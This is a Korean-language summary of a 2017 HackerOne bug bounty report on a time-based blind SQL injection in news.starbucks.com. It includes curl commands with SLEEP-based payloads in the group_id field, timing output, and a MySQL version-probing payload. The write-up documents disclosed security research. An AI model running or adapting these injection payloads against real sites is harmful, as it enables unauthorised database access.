hackerone-starbucks-2017-02-h-198292

Time-based Blind SQLi on news.starbucks.com

보고서

POST body의 group_id에서 SQLi가 일어났다. ACT가 특정 숫자일 때 가능했다.

ACT 파라미터를 변경하면 다른 반응을 보이는 것을 보고, 여러가지 숫자를 넣어 테스트했다.

55와 56을 넣었을 때 흥미로운 에러 반응이 나왔다.

이 에러 메시지를 searchcode.com 에 넣어 찾아보니 PHP 파일이 나왔다.

이 코드는 대상 프로그램의 CMS에서 사용하는 CMS에서 사용하는 플러그인이라고 추측할 수 있었다.

ACT 파라미터는 CMS에서 사용하는 함수를 호출하는 데 사용되는 파라미터같았다.

그리고 이 코드에서 다른 파라미터인 group_id를 이용하는 쿼리를 찾았다.

이렇게 소스코드를 읽고 페이로드를 깎았다.

ACT=55&jsontree={"x":1}&site_id=1&group_id=1'-IF(1=1,SLEEP(1),0) AND group_id='1

time 명령어와 함께 curl을 하여 시간 측정 결과를 보여주었다.

time curl --data "ACT=55&jsontree={"x":1}&site_id=1&group_id=1'-IF(1=1,SLEEP(1),0) AND group_id='1" https://news.starbucks.com

real    0m4.945s
user    0m0.000s
sys     0m0.063s

time curl --data "ACT=55&jsontree={"x":1}&site_id=1&group_id=1'-IF(1=2,SLEEP(1),0) AND group_id='1" https://news.starbucks.com

real    0m0.860s
user    0m0.000s
sys     0m0.031s

if 조건이 false가 되어 sleep을 안 하게 하면 더 빨리 반응하는 것을 보여준다.

time based SQLi로 버전을 알아내었다. MID 명령어는 SUBSTR과 같다.

time curl --data "ACT=55&jsontree={"x":1}&site_id=1&group_id=1'-IF(MID(VERSION(),1,1)='5',SLEEP(1),0) AND group_id='1" https://news.starbucks.com

real    0m4.945s

time curl --data "ACT=55&jsontree={"x":1}&site_id=1&group_id=1'-IF(MID(VERSION(),1,1)='4',SLEEP(1),0) AND group_id='1" https://news.starbucks.com

real    0m1.005s

프로그램 측에서 재현을 잘 못 하자 여러가지 설명을 첨부했다.

sqlmap을 이용하여 결과를 뽑아 보여주었다.

https://timeofcheck.com/time-based-blind-sqli-on-news-starbucks-com/


tags: wstg-inpv-05, bughunting, sqli, time-based-sqli, severity high, web hacking